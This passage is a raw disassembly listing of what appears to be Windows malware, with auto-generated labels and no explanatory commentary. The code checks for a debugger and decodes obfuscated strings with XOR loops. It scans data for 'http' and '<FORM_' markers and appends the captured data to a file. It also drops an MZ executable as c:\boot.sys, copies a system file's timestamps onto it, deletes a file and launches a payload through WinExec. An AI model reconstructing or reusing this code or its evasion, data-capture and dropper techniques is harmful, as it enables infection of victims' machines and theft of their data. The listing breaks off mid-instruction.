[eax] call dword ptr [edi+20h] mov ebx, eax call sub_40C5D8 ; IsDebuggerPresent or ebx, ebx jnz loc_407899 mov [ebp+var_6382C], 50D5h inc [ebp+var_6382C] lea edi, [ebp+var_63838] lea esi, word_442416 movsd movsd lea edi, [ebp+var_63839] lea esi, byte_44241E xor ecx, ecx inc ecx rep movsb lea eax, [ebp+var_6382A] push eax push [ebp+var_62810] call sub_4068E8 add esp, 8 mov edi, eax inc edi mov [ebp+var_63830], edi cmp [ebp+var_6382A], 0 jz short loc_40788E cmp edi, 64h jnb short loc_40788E lea eax, [ebp+var_6382A] push eax movzx eax, [ebp+var_2] imul eax, 64h lea eax, [ebp+eax+var_39E28] push eax call sub_40C45C loc_40788E: ; CODE XREF: sub_406D91+ADBj ; sub_406D91+AE0j mov eax, dword_44241F mov [ebp+var_6383E+1], eax loc_407899: ; CODE XREF: sub_406D91+A81j inc [ebp+var_2] loc_40789D: ; CODE XREF: sub_406D91+9BDj ; sub_406D91+9DDj ... cmp [ebp+var_627F4], 0 jz short $+2 call sub_40C4E8 ; RtlGetLastWin32Error cmp [ebp+var_627FA+2], 0 jz short loc_4078C0 mov eax, [ebp+var_627FA+2] push eax mov esi, [eax] call dword ptr [esi+8] loc_4078C0: ; CODE XREF: sub_406D91+969j ; sub_406D91+B21j inc [ebp+var_52680] loc_4078C6: ; CODE XREF: sub_406D91+8FDj mov eax, [ebp+var_62698] cmp [ebp+var_52680], eax jb loc_407693 jmp short loc_407917 ; --------------------------------------------------------------------------- call sub_40C4B8 ; GetCurrentProcessId loc_4078DF: ; CODE XREF: sub_406D91+8E2j cmp [ebp+var_6268C], 0 jz short loc_4078F4 mov eax, [ebp+var_6268C] push eax mov esi, [eax] call dword ptr [esi+8] loc_4078F4: ; CODE XREF: sub_406D91+8B1j ; sub_406D91+B55j cmp [ebp+var_6269C], 0 jz short loc_407909 mov eax, [ebp+var_6269C] push eax mov esi, [eax] call dword ptr [esi+8] loc_407909: ; CODE XREF: sub_406D91+B6Aj mov [ebp+var_627CA], 24h sub [ebp+var_627CA], 13h loc_407917: ; CODE XREF: sub_406D91+4FCj ; sub_406D91+B47j inc [ebp+var_21784] loc_40791D: ; CODE XREF: sub_406D91+472j mov eax, [ebp+var_525EC] cmp [ebp+var_21784], eax jb loc_407208 loc_40792F: ; CODE XREF: sub_406D91+329j ; sub_406D91+3A5j ... mov [ebp+var_5262C], 2E4Fh sub [ebp+var_5262C], 1F25h inc [ebp+var_524CC] mov eax, [ebp+var_5264C] cmp [ebp+var_524CC], eax jl loc_407057 mov [ebp+var_5262E], 24B1h sub [ebp+var_5262E], 67CAh loc_40796D: ; CODE XREF: sub_406D91+D50j push 0 call sub_40C95C pop ecx call sub_40C554 ; GetVersion mov [ebp+var_21786], 0 jmp loc_407A7F ; --------------------------------------------------------------------------- loc_407988: ; CODE XREF: sub_406D91+CFBj mov ax, word_442423 mov word ptr [ebp+var_62690+2], ax lea eax, [ebp+var_524E0] push eax push 0 push [ebp+var_10FA8] movzx edi, [ebp+var_21786] mov edi, [ebp+edi*4+var_10FA4] push edi mov edi, [edi] call dword ptr [edi+20h] mov ebx, eax mov [ebp+var_6267C], 4250h mov eax, [ebp+var_6267C] mov edx, eax add edx, eax mov [ebp+var_6267C], edx or ebx, ebx jnz loc_407A78 mov [ebp+var_62684], 699Ch inc [ebp+var_62684] lea edi, [ebp+var_62690+1] lea esi, byte_442425 xor ecx, ecx inc ecx rep movsb lea eax, [ebp+var_62676] push eax push [ebp+var_524D8] call sub_4068E8 add esp, 8 mov edi, eax inc edi mov [ebp+var_6268C], edi mov [ebp+var_6267D], 0 movzx eax, [ebp+var_6267D] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_6267D], al cmp [ebp+var_62676], 0 jz short loc_407A78 mov byte ptr [ebp+var_62688+3], 7Ch add byte ptr [ebp+var_62688+3], 73h cmp [ebp+var_6268C], 64h jnb short loc_407A73 lea eax, [ebp+var_62676] push eax movzx eax, [ebp+var_21786] imul eax, 64h lea eax, [ebp+eax+var_524C8] push eax call sub_40C45C loc_407A73: ; CODE XREF: sub_406D91+CC2j call sub_40C5D8 ; IsDebuggerPresent loc_407A78: ; CODE XREF: sub_406D91+C45j ; sub_406D91+CABj inc [ebp+var_21786] loc_407A7F: ; CODE XREF: sub_406D91+BF2j movzx eax, [ebp+var_21786] movzx edx, [ebp+var_2] cmp eax, edx jl loc_407988 lea eax, [ebp+var_525FE] push eax mov eax, dword_44237C push eax mov edi, [eax] call dword ptr [edi+7Ch] mov ebx, eax mov [ebp+var_5262F], 7Eh sub [ebp+var_5262F], 0FDh or ebx, ebx jnz loc_407EF6 mov [ebp+var_5260A], 772Ch movzx eax, [ebp+var_5260A] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_5260A], ax cmp [ebp+var_525FE], 0 jz loc_40796D mov [ebp+var_52634], 10F6h mov eax, 78ABh mul [ebp+var_52634] mov [ebp+var_5267C], eax mov [ebp+var_52634], eax lea edi, [ebp+var_52674] lea esi, aJqs ; "#JQS$ " mov ecx, 7 rep movsb mov [ebp+var_2177D], 0 push offset byte_41FC80 lea eax, [ebp+var_2177D] push eax call sub_40C45C mov [ebp+var_525E8], 1 mov [ebp+var_1177E], 0 jmp loc_407C45 ; --------------------------------------------------------------------------- loc_407B4B: ; CODE XREF: sub_406D91+EC1j mov byte ptr [ebp+var_52680+3], 9Eh movzx eax, byte ptr [ebp+var_52680+3] imul eax, 6E80h mov byte ptr [ebp+var_52680+3], al movzx eax, [ebp+var_1177E] imul eax, 64h cmp [ebp+eax+var_524C8], 0 jz loc_407C3E lea edi, [ebp+var_52686] lea esi, aH7a6 ; "h7A6/" mov ecx, 3 rep movsw and [ebp+var_525E8], 0 push 4 push offset aAe ; "غ" call sub_406CF9 movzx edi, [ebp+var_1177E] push edi push eax lea edi, [ebp+var_525DF] push edi call sub_40C9D4 lea eax, [ebp+var_525DF] push eax lea eax, [ebp+var_2177D] push eax call sub_40C9F8 call sub_40C554 ; GetVersion movzx eax, [ebp+var_1177E] imul eax, 64h lea eax, [ebp+eax+var_39E28] push eax lea eax, [ebp+var_2177D] push eax call sub_40C9F8 call sub_40C518 ; GetProcessHeap push 1 push offset asc_446E9B ; "" call sub_406CF9 push eax lea edi, [ebp+var_2177D] push edi call sub_40C9F8 mov word ptr [ebp+var_52680], 1732h inc word ptr [ebp+var_52680] movzx eax, [ebp+var_1177E] imul eax, 64h lea eax, [ebp+eax+var_524C8] push eax lea eax, [ebp+var_2177D] push eax call sub_40C9F8 add esp, 3Ch loc_407C3E: ; CODE XREF: sub_406D91+DE6j inc [ebp+var_1177E] loc_407C45: ; CODE XREF: sub_406D91+DB5j movzx eax, [ebp+var_1177E] movzx edx, [ebp+var_2] cmp eax, edx jl loc_407B4B cmp [ebp+var_525E8], 0 jnz loc_407E93 call sub_40C548 ; GetTickCount push 1 push offset aA ; "" call sub_406CF9 push eax lea edi, [ebp+var_2177D] push edi call sub_40C9F8 mov [ebp+var_52636], 579Eh add [ebp+var_52636], 46F3h lea eax, [ebp+var_10001] push eax lea eax, [ebp+var_2177D] push eax call sub_40C9F8 add esp, 18h lea edi, [ebp+var_52677] lea esi, aY ; "Y;" mov ecx, 3 rep movsb cmp ds:byte_41FC80, 68h jnz short loc_407CE2 cmp ds:byte_41FC81, 74h jnz short loc_407CE2 cmp ds:byte_41FC82, 74h jnz short loc_407CE2 cmp ds:byte_41FC83, 70h jz short loc_407CE7 loc_407CE2: ; CODE XREF: sub_406D91+F34j ; sub_406D91+F3Dj ... jmp loc_407E48 ; --------------------------------------------------------------------------- loc_407CE7: ; CODE XREF: sub_406D91+F4Fj push 8 push offset aOcqqcXo ; "" call sub_406CF9 mov edi, 8 sub edi, dword_4423B4 push edi push eax push offset byte_41FC80 call sub_4017D2 add esp, 14h cmp eax, 0FFFFh jz short loc_407D45 push 0Eh push offset byte_446E81 call sub_406CF9 mov edi, 8 sub edi, dword_4423B4 push edi push eax push offset byte_41FC80 call sub_4017D2 add esp, 14h cmp eax, 0FFFFh jz loc_407E48 loc_407D45: ; CODE XREF: sub_406D91+F81j call sub_40C4B8 ; GetCurrentProcessId mov [ebp+var_525EE], 0 loc_407D53: ; CODE XREF: sub_406D91+1071j mov eax, 13h sub eax, dword_4423B8 push eax movzx eax, [ebp+var_525EE] lea eax, ds:4423C4h[eax] push eax push offset byte_41FC80 call sub_4017D2 add esp, 0Ch cmp eax, 0FFFFh jz short loc_407DB8 mov word ptr [ebp+var_52680+2], 0FC8h movzx eax, word ptr [ebp+var_52680+2] imul eax, 4A0Dh mov word ptr [ebp+var_52680+2], ax push 1 lea eax, [ebp+var_2177D] push eax call ds:dword_40F090 call sub_40C4C4 ; GetCurrentThreadId jmp loc_407E48 ; --------------------------------------------------------------------------- loc_407DB8: ; CODE XREF: sub_406D91+FEFj movzx eax, [ebp+var_525EE] mov [ebp+var_52680], eax lea ecx, ds:4423C4h[eax] or eax, 0FFFFFFFFh loc_407DCF: ; CODE XREF: sub_406D91+1043j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_407DCF mov esi, [ebp+var_52680] add esi, eax mov edi, esi mov [ebp+var_525EE], di call sub_40C518 ; GetProcessHeap inc [ebp+var_525EE] movzx eax, [ebp+var_525EE] cmp byte_4423C4[eax], 0 jnz loc_407D53 mov [ebp+var_52638], 5BA9h inc [ebp+var_52638] push 0 lea eax, [ebp+var_2177D] push eax call ds:dword_40F090 mov [ebp+var_5263C], 2F5Dh mov eax, 182Ch mul [ebp+var_5263C] mov [ebp-52684h], eax mov [ebp+var_5263C], eax loc_407E48: ; CODE XREF: sub_406D91:loc_407CE2j ; sub_406D91+FAEj ... mov [ebp+var_21788], 0 jmp short loc_407E7F ; --------------------------------------------------------------------------- loc_407E53: ; CODE XREF: sub_406D91+10FBj movzx edi, [ebp+var_21788] cmp [ebp+edi*4+var_10FA4], 0 jz short loc_407E78 movzx edi, [ebp+var_21788] mov edi, [ebp+edi*4+var_10FA4] push edi mov edi, [edi] call dword ptr [edi+8] loc_407E78: ; CODE XREF: sub_406D91+10D1j inc [ebp+var_21788] loc_407E7F: ; CODE XREF: sub_406D91+10C0j movzx eax, [ebp+var_21788] movzx edx, [ebp+var_2] cmp eax, edx jl short loc_407E53 call sub_40C548 ; GetTickCount loc_407E93: ; CODE XREF: sub_406D91+454j ; sub_406D91+ECEj cmp [ebp+var_525E4], 0 jz short loc_407EA8 mov eax, [ebp+var_525E4] push eax mov esi, [eax] call dword ptr [esi+8] loc_407EA8: ; CODE XREF: sub_406D91+1109j cmp [ebp+var_52610], 0 jz short loc_407EBD mov eax, [ebp+var_52610] push eax mov esi, [eax] call dword ptr [esi+8] loc_407EBD: ; CODE XREF: sub_406D91+111Ej call sub_40C4E8 ; RtlGetLastWin32Error cmp [ebp+var_52608], 0 jz short loc_407ED7 mov eax, [ebp+var_52608] push eax mov esi, [eax] call dword ptr [esi+8] loc_407ED7: ; CODE XREF: sub_406D91+1138j call sub_40C4C4 ; GetCurrentThreadId loc_407EDC: ; CODE XREF: sub_406D91+2B4j cmp [ebp+var_52604], 0 jz short loc_407EF1 mov eax, [ebp+var_52604] push eax mov esi, [eax] call dword ptr [esi+8] loc_407EF1: ; CODE XREF: sub_406D91+1152j call sub_40C4B8 ; GetCurrentProcessId loc_407EF6: ; CODE XREF: sub_406D91+19Aj ; sub_406D91+210j ... cmp [ebp+var_525FC], 0 jz short loc_407F0B mov eax, [ebp+var_525FC] push eax mov esi, [eax] call dword ptr [esi+8] loc_407F0B: ; CODE XREF: sub_406D91+116Cj call sub_40C4B8 ; GetCurrentProcessId loc_407F10: ; CODE XREF: sub_406D91+15Aj cmp [ebp+var_525F4], 0 jz short loc_407F25 mov eax, [ebp+var_525F4] push eax mov esi, [eax] call dword ptr [esi+8] loc_407F25: ; CODE XREF: sub_406D91+1186j call sub_40C548 ; GetTickCount jmp loc_406E09 ; --------------------------------------------------------------------------- loc_407F2F: ; CODE XREF: sub_406D91+55j pop edi pop esi pop ebx leave retn sub_406D91 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407F34 proc near ; DATA XREF: sub_407FE2+2Eo var_1D = byte ptr -1Dh var_19 = byte ptr -19h var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset word_442436 push offset sub_40109A mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 10h push ebx push esi push edi mov [ebp+var_18], esp call sub_40C4C4 ; GetCurrentThreadId mov [ebp+var_4], 0 call sub_40C554 ; GetVersion loc_407F6B: ; CODE XREF: sub_407F34+69j ; sub_407F34+93j mov edi, dword_4423B4 add edi, 1EDh push edi call sub_40C95C add esp, 4 call sub_40C518 ; GetProcessHeap call sub_406D91 cmp dword_4423C0, 0 jnz short loc_407F95 jmp short loc_407FD0 ; --------------------------------------------------------------------------- loc_407F95: ; CODE XREF: sub_407F34+5Dj mov [ebp+var_19], 82h add [ebp+var_19], 0BDh jmp short loc_407F6B ; --------------------------------------------------------------------------- mov [ebp+var_4], 0FFFFFFFFh jmp short loc_407FD0 ; --------------------------------------------------------------------------- mov dword ptr [ebp-1Ch], 1 mov eax, [ebp-1Ch] retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_1D], 14h movzx edi, [ebp+var_1D] mov esi, edi add esi, edi mov ebx, esi mov [ebp+var_1D], bl jmp short loc_407F6B ; --------------------------------------------------------------------------- mov [ebp+var_4], 0FFFFFFFFh loc_407FD0: ; CODE XREF: sub_407F34+5Fj ; sub_407F34+72j pop edi pop esi pop ebx xchg eax, ecx mov eax, [ebp+var_10] mov large fs:0, eax xchg eax, ecx leave retn 4 sub_407F34 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407FE2 proc near ; CODE XREF: sub_40A74E+772p var_4 = byte ptr -4 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi call sub_40C4B8 ; GetCurrentProcessId mov eax, [ebp+arg_0] mov ds:dword_40F090, eax mov [ebp+var_1], 3Bh movzx eax, [ebp+var_1] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_1], al push offset dword_4423C0 push 0 push 0 push offset sub_407F34 push 0 push 0 call sub_40C704 ; CreateThread mov ebx, eax lea edi, [ebp+var_4] lea esi, word_442442 mov ecx, 3 rep movsb push ebx call sub_40C530 ; CloseHandle mov ebx, 760Dh add ebx, 242h pop edi pop esi pop ebx leave retn sub_407FE2 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push eax push esi push edi lea edi, [ebp-7] lea esi, aHS ; "H-S-" mov ecx, 5 rep movsb cmp dword_44237C, 0 jnz short loc_40806A xor eax, eax jmp short loc_4080C1 ; --------------------------------------------------------------------------- loc_40806A: ; CODE XREF: .text:00408064j call sub_40C4C4 ; GetCurrentThreadId mov eax, ds:dword_42FC84 cmp [ebp+8], eax jz short loc_40807D xor eax, eax jmp short loc_4080C1 ; --------------------------------------------------------------------------- loc_40807D: ; CODE XREF: .text:00408077j call sub_40C518 ; GetProcessHeap lea ecx, byte_41FC80 or eax, 0FFFFFFFFh loc_40808B: ; CODE XREF: .text:00408090j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_40808B mov edi, eax add edi, 1 push edi push offset byte_41FC80 push dword ptr [ebp+0Ch] call sub_40C998 add esp, 0Ch mov word ptr [ebp-2], 1DCDh movzx eax, word ptr [ebp-2] mov edx, eax add edx, eax mov eax, edx mov [ebp-2], ax mov eax, 1 loc_4080C1: ; CODE XREF: .text:00408068j ; .text:0040807Bj pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4080C5 proc near ; CODE XREF: sub_40815F+22Cp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push esi push edi mov esi, [ebp+arg_4] mov [ebp+var_4], 36Eh push esi push [ebp+arg_0] mov eax, dword_442454 lea eax, ds:4153F0h[eax] push eax call sub_40C998 add esp, 0Ch xor edi, edi jmp short loc_40810B ; --------------------------------------------------------------------------- loc_4080F4: ; CODE XREF: sub_4080C5+48j mov eax, dword_442454 add eax, edi lea eax, ds:4153F0h[eax] movsx edx, byte ptr [eax] xor edx, 45h mov [eax], dl inc edi loc_40810B: ; CODE XREF: sub_4080C5+2Dj cmp edi, esi jl short loc_4080F4 mov [ebp+var_8], 3DAh mov eax, dword_442454 add eax, esi mov byte ptr ds:dword_4153F0[eax], 0 mov edi, dword_442454 inc dword_442454 mov eax, dword_442454 add eax, 3 add eax, esi mov dword_442454, eax cmp eax, 0DE6h jle short loc_40814E and dword_442454, 0 loc_40814E: ; CODE XREF: sub_4080C5+80j mov [ebp+var_C], 0C6h lea eax, dword_4153F0[edi] pop edi pop esi leave retn sub_4080C5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40815F proc near ; DATA XREF: sub_40A74E+76Do var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_23 = byte ptr -23h var_20 = byte ptr -20h var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah var_19 = byte ptr -19h var_18 = dword ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_9 = byte ptr -9 var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 30h push ebx push esi push edi call sub_40C4E8 ; RtlGetLastWin32Error and [ebp+var_4], 0 and [ebp+var_8], 0 and [ebp+var_10], 0 loc_408179: ; CODE XREF: sub_40815F+19Bj mov eax, [ebp+var_4] mov edx, [ebp+arg_0] cmp byte ptr [edx+eax], 3Ah jnz loc_4082B2 mov [ebp+var_12], 2696h inc [ebp+var_12] mov eax, [ebp+var_4] mov edx, [ebp+arg_0] cmp byte ptr [eax+edx+11h], 20h jz short loc_4081AB cmp byte ptr [eax+edx+14h], 20h jnz loc_4082B2 loc_4081AB: ; CODE XREF: sub_40815F+3Fj mov [ebp+var_14], 2F8Ch add [ebp+var_14], 89Bh mov eax, [ebp+var_4] inc eax mov edx, [ebp+arg_0] mov al, [edx+eax] cmp al, 34h jz short loc_4081CD cmp al, 35h jnz loc_4082B2 loc_4081CD: ; CODE XREF: sub_40815F+64j mov eax, [ebp+var_4] add eax, 11h mov edx, [ebp+arg_0] cmp byte ptr [edx+eax], 20h jnz short loc_4081E5 mov [ebp+var_8], 10h jmp short loc_4081EC ; --------------------------------------------------------------------------- loc_4081E5: ; CODE XREF: sub_40815F+7Bj mov [ebp+var_8], 13h loc_4081EC: ; CODE XREF: sub_40815F+84j mov [ebp+var_9], 0 xor ebx, ebx jmp loc_408285 ; --------------------------------------------------------------------------- loc_4081F7: ; CODE XREF: sub_40815F+129j call sub_40C4E8 ; RtlGetLastWin32Error cmp [ebp+var_8], 13h jnz short loc_408238 mov eax, [ebp+var_4] inc eax add eax, ebx mov edx, [ebp+arg_0] cmp byte ptr [edx+eax], 2Dh jnz short loc_408238 mov edi, 5 mov esi, ebx inc esi mov [ebp+var_28], edi mov eax, esi mov ecx, edi xor edx, edx div ecx mov [ebp+var_2C], eax mov eax, edi mov edi, [ebp+var_2C] mul [ebp+var_2C] mov [ebp+var_30], eax mov edi, eax cmp edi, esi jz short loc_408284 loc_408238: ; CODE XREF: sub_40815F+A1j ; sub_40815F+B0j lea edi, [ebp+var_1B] lea esi, a8fr8 ; "8Fr8!#" mov ecx, 7 rep movsb mov eax, [ebp+var_4] inc eax add eax, ebx mov edx, [ebp+arg_0] mov al, [edx+eax] cmp al, 30h jl short loc_40825C cmp al, 39h jle short loc_40825E loc_40825C: ; CODE XREF: sub_40815F+F7j jmp short loc_4082B2 ; --------------------------------------------------------------------------- loc_40825E: ; CODE XREF: sub_40815F+FBj lea edi, [ebp+var_23] lea esi, aMKJ ; "m:K!< j" movsd movsd movzx eax, [ebp+var_9] mov edx, [ebp+var_4] inc edx add edx, ebx mov ecx, [ebp+arg_0] mov dl, [ecx+edx] mov ds:byte_433F40[eax], dl add [ebp+var_9], 1 loc_408284: ; CODE XREF: sub_40815F+D7j inc ebx loc_408285: ; CODE XREF: sub_40815F+93j cmp ebx, [ebp+var_8] jb loc_4081F7 mov eax, [ebp+var_8] mov ds:byte_433F40[eax], 0 call sub_401320 or eax, eax jz short loc_4082A9 call sub_40C4C4 ; GetCurrentThreadId jmp short loc_4082B2 ; --------------------------------------------------------------------------- loc_4082A9: ; CODE XREF: sub_40815F+141j mov [ebp+var_10], 1 jmp short loc_408303 ; --------------------------------------------------------------------------- loc_4082B2: ; CODE XREF: sub_40815F+24j ; sub_40815F+46j ... inc [ebp+var_4] mov eax, [ebp+var_4] mov edx, [ebp+arg_0] cmp byte ptr [edx+eax], 0 jz short loc_4082FF call sub_40C4E8 ; RtlGetLastWin32Error mov eax, [ebp+var_4] mov edx, [ebp+arg_0] cmp byte ptr [edx+eax], 3Ch jnz short loc_4082F5 cmp byte ptr [eax+edx+1], 46h jnz short loc_4082F5 cmp byte ptr [eax+edx+2], 4Fh jnz short loc_4082F5 cmp byte ptr [eax+edx+3], 52h jnz short loc_4082F5 cmp byte ptr [eax+edx+4], 4Dh jnz short loc_4082F5 cmp byte ptr [eax+edx+5], 5Fh jz short loc_4082FF loc_4082F5: ; CODE XREF: sub_40815F+171j ; sub_40815F+178j ... call sub_40C518 ; GetProcessHeap jmp loc_408179 ; --------------------------------------------------------------------------- loc_4082FF: ; CODE XREF: sub_40815F+160j ; sub_40815F+194j and [ebp+var_10], 0 loc_408303: ; CODE XREF: sub_40815F+151j cmp [ebp+var_10], 0 jz short loc_408318 mov eax, ds:dword_42FC84 mov dword_43C218, eax jmp loc_4083CB ; --------------------------------------------------------------------------- loc_408318: ; CODE XREF: sub_40815F+1A8j mov [ebp+var_1A], 99h sub [ebp+var_1A], 61h push 0 push 0 push 4 push 0 push 0 push 40000000h push offset dword_40DFE0 call sub_40C650 ; CreateFileA mov [ebp+var_18], eax push 2 push 0 push 0 push eax call sub_40C65C ; SetFilePointer mov [ebp+var_1B], 8Eh add [ebp+var_1B], 1 mov eax, [ebp+arg_0] mov ecx, eax or eax, 0FFFFFFFFh loc_408358: ; CODE XREF: sub_40815F+1FEj inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_408358 mov edi, eax push 0 lea esi, [ebp+var_20] push esi push edi push [ebp+arg_0] push [ebp+var_18] call sub_40C6C8 ; WriteFile mov [ebp+var_19], 0E7h movzx eax, [ebp+var_19] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_19], al push 2 push offset word_446E7E call sub_4080C5 add esp, 8 push 0 lea edi, [ebp+var_20] push edi mov edi, 0Ch sub edi, dword_442450 push edi push eax push [ebp+var_18] call sub_40C6C8 ; WriteFile call sub_40C4C4 ; GetCurrentThreadId push [ebp+var_18] call sub_40C530 ; CloseHandle lea edi, [ebp+var_28] lea esi, aGV3s ; "g+V3S " mov ecx, 8 rep movsb loc_4083CB: ; CODE XREF: sub_40815F+1B4j pop edi pop esi pop ebx leave retn sub_40815F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4083D0 proc near ; CODE XREF: sub_408472+6Fp ; sub_408581+DBp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push esi push edi mov esi, [ebp+arg_4] push esi push [ebp+arg_0] mov eax, dword_446478 lea eax, ds:40D000h[eax] push eax call sub_40C998 add esp, 0Ch mov [ebp+var_4], 3DEh xor edi, edi jmp short loc_408419 ; --------------------------------------------------------------------------- loc_4083FF: ; CODE XREF: sub_4083D0+4Bj mov eax, dword_446478 add eax, edi lea eax, ds:40D000h[eax] movsx edx, byte ptr [eax] xor edx, 0A2h mov [eax], dl inc edi loc_408419: ; CODE XREF: sub_4083D0+2Dj cmp edi, esi jl short loc_4083FF mov [ebp+var_8], 39Dh mov eax, dword_446478 add eax, esi mov byte ptr ds:dword_40D000[eax], 0 xor edi, edi mov edi, dword_446478 mov eax, edi add eax, 6 add eax, esi mov dword_446478, eax add dword_446478, 3 cmp dword_446478, 0E05h jle short loc_408461 and dword_446478, 0 loc_408461: ; CODE XREF: sub_4083D0+88j mov [ebp+var_C], 1E6h lea eax, dword_40D000[edi] pop edi pop esi leave retn sub_4083D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408472 proc near ; CODE XREF: sub_408581+A2p var_230 = byte ptr -230h var_229 = byte ptr -229h var_228 = byte ptr -228h var_220 = byte ptr -220h var_218 = byte ptr -218h var_210 = word ptr -210h var_20E = byte ptr -20Eh var_20B = byte ptr -20Bh var_106 = byte ptr -106h var_105 = byte ptr -105h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 230h push ebx push esi push edi call sub_40C4B8 ; GetCurrentProcessId lea edi, [ebp+var_20E] lea esi, byte_44647C mov ecx, 3 rep movsb mov ax, word_44647F mov [ebp+var_210], ax push 104h lea eax, [ebp+var_20B] push eax call sub_40C524 ; GetSystemDirectoryA mov [ebp+var_106], 78h sub [ebp+var_106], 4Dh lea eax, [ebp+var_20B] push eax lea eax, [ebp+var_105] push eax call sub_40C45C call sub_40C4C4 ; GetCurrentThreadId push 0Dh push offset dword_446E70 call sub_4083D0 push eax lea edi, [ebp+var_105] push edi call sub_40C9F8 add esp, 10h call sub_40C4B8 ; GetCurrentProcessId push 0 push 0 push 3 push 0 push 0 push 80000001h lea eax, [ebp+var_105] push eax call sub_40C650 ; CreateFileA mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40857C lea edi, [ebp+var_230] lea esi, aAluvia_0 ; "LUVIa" mov ecx, 7 rep movsb lea eax, [ebp+var_228] push eax lea eax, [ebp+var_220] push eax lea eax, [ebp+var_218] push eax push ebx call sub_40C4DC ; GetFileTime lea eax, [ebp+var_228] push eax lea eax, [ebp+var_220] push eax lea eax, [ebp+var_218] push eax push [ebp+arg_0] call sub_40C668 ; SetFileTime mov [ebp+var_229], 80h sub [ebp+var_229], 49h push ebx call sub_40C530 ; CloseHandle loc_40857C: ; CODE XREF: sub_408472+A9j pop edi pop esi pop ebx leave retn sub_408472 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408581 proc near ; CODE XREF: sub_40A74E+91p var_229 = byte ptr -229h var_228 = byte ptr -228h var_222 = byte ptr -222h var_21B = byte ptr -21Bh var_216 = byte ptr -216h var_215 = byte ptr -215h var_111 = byte ptr -111h var_105 = byte ptr -105h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 22Ch push ebx push esi push edi lea edi, [ebp+var_216] lea esi, byte_446488 xor ecx, ecx inc ecx rep movsb call sub_40C554 ; GetVersion cmp eax, 80000000h jnb loc_4086C4 call sub_40C4E8 ; RtlGetLastWin32Error lea edi, [ebp+var_111] lea esi, aCBoot_sys ; "c:\\boot.sys" mov ecx, 3 rep movsd lea edi, [ebp+var_21B] lea esi, aZh ; ":zH=" mov ecx, 5 rep movsb push 0 push 0 push 2 push 0 push 0 push 40000000h lea eax, [ebp+var_111] push eax call sub_40C650 ; CreateFileA mov ebx, eax lea edi, [ebp+var_222] lea esi, a0vmI ; "0Vm |I" mov ecx, 7 rep movsb push 0 lea eax, [ebp+var_228] push eax push 4001h push offset aMzr ; "MZ" push ebx call sub_40C6C8 ; WriteFile push ebx call sub_408472 push ebx call sub_40C530 ; CloseHandle call sub_40C4B8 ; GetCurrentProcessId lea edi, [ebp+var_229] lea esi, byte_4464A1 xor ecx, ecx inc ecx rep movsb push 104h lea eax, [ebp+var_104] push eax call sub_40C524 ; GetSystemDirectoryA push 0Ah push offset byte_446E65 call sub_4083D0 lea edi, [ebp+var_104] push edi push eax lea edi, [ebp+var_215] push edi call sub_40C9D4 push 1Dh push offset byte_446E47 call sub_4083D0 push eax lea edi, [ebp+var_104] push edi call sub_40C9F8 add esp, 28h mov [ebp+var_105], 98h sub [ebp+var_105], 0F3h lea eax, [ebp+var_215] push eax call sub_40C488 ; DeleteFileA mov ebx, 187Dh add ebx, 540Dh push 0 lea eax, [ebp+var_104] push eax call sub_40C6BC ; WinExec loc_4086C4: ; CODE XREF: sub_408581+27j pop edi pop esi pop ebx leave retn sub_408581 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push eax push esi push edi mov esi, [ebp+0Ch] push esi push dword ptr [ebp+8] mov eax, dword_44652C lea eax, ds:432DD0h[eax] push eax call sub_40C998 add esp, 0Ch xor edi, edi jmp short loc_408707 ; --------------------------------------------------------------------------- loc_4086F0: ; CODE XREF: .text:00408709j mov eax, dword_44652C add eax, edi lea eax, ds:432DD0h[eax] movsx edx, byte ptr [eax] xor edx, 79h mov [eax], dl inc edi loc_408707: ; CODE XREF: .text:004086EEj cmp edi, esi jl short loc_4086F0 mov dword ptr [ebp-4], 3DDh mov eax, dword_44652C add eax, esi mov byte ptr ds:dword_432DD0[eax], 0 xor edi, edi mov edi, dword_44652C add dword_44652C, 3 mov eax, dword_44652C add eax, 4 add eax, esi mov dword_44652C, eax add dword_44652C, 2 cmp dword_44652C, 0E06h jle short loc_408759 and dword_44652C, 0 loc_408759: ; CODE XREF: .text:00408750j mov dword ptr [ebp-8], 29h lea eax, dword_432DD0[edi] pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40876A proc near ; CODE XREF: sub_408884+46p var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_1], 